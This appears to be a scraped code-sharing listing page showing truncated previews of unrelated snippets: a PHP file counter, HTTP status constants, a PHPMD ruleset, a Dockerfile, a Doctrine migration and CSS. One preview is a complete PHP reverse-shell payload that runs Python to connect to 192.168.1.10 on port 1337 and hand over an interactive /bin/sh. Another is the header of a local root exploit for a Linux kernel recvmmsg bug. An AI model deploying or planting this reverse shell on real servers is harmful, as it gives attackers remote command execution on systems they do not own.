This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$file = fopen("counter.txt", "r+"); | |
if (flock($file, LOCK_EX)) { | |
$data = fread($file, 64); | |
$data = trim($data); | |
if (empty($data)) { | |
$data = 0; | |
} | |
$data++; | |
ftruncate($file, 0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
interface Status | |
{ | |
const STATUS_CONTINUE = 'Continue'; | |
const STATUS_SWITCHING_PROTOCOLS = 'Switching Protocols'; | |
const STATUS_PROCESSING = 'Processing'; | |
const STATUS_OK = 'OK'; | |
const STATUS_CREATED = 'Created'; | |
const STATUS_ACCEPTED = 'Accepted'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0"?> | |
<ruleset name="My first PHPMD rule set" | |
xmlns="http://pmd.sf.net/ruleset/1.0.0" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://pmd.sf.net/ruleset/1.0.0 | |
http://pmd.sf.net/ruleset_xml_schema.xsd" | |
xsi:noNamespaceSchemaLocation=" | |
http://pmd.sf.net/ruleset_xml_schema.xsd"> | |
<description> | |
Project rule sets |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Local root exploit for CVE-2014-0038. | |
* | |
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c | |
* | |
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer | |
* passed from userspace. | |
* | |
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg, | |
* if the original byte at that address is known it can be overwritten |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php set_time_limit(0); | |
system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:16.04 | |
ENV DEBIAN_FRONTEND noninteractive | |
# ensure we have the en_US.UTF-8 locale available | |
RUN locale-gen en_US.UTF-8 | |
# install common dependencies | |
RUN apt-get update && apt-get install -y \ | |
curl \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function dumpResourceBundle($bundle, $depth = 0) { | |
if ($bundle === null) { | |
return 'NULL'; | |
} elseif (is_scalar($bundle)) { | |
return $bundle; | |
} | |
$out = ''; | |
foreach ($bundle as $k => $v) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Application\Migrations; | |
use Doctrine\DBAL\Migrations\AbstractMigration; | |
use Doctrine\DBAL\Schema\Schema; | |
use Symfony\Component\DependencyInjection\ContainerInterface; | |
use Symfony\Component\DependencyInjection\ContainerAwareInterface; | |
class Version20140811164659 extends AbstractMigration implements ContainerAwareInterface | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$data = $request->request->all(); | |
print("REQUEST DATA<br/>"); | |
foreach ($data as $k => $d) { | |
print("$k: <pre>"); print_r($d); print("</pre>"); | |
} | |
$children = $form->all(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body{ | |
background-color:white; | |
background-image: linear-gradient(90deg, rgba(200,0,0,.5) 50%, transparent 50%), | |
linear-gradient(rgba(200,0,0,.5) 50%, transparent 50%); | |
background-size:50px 50px; | |
} | |
form{ | |
width:250px; | |
margin:50px auto; | |
padding:15px 20px; |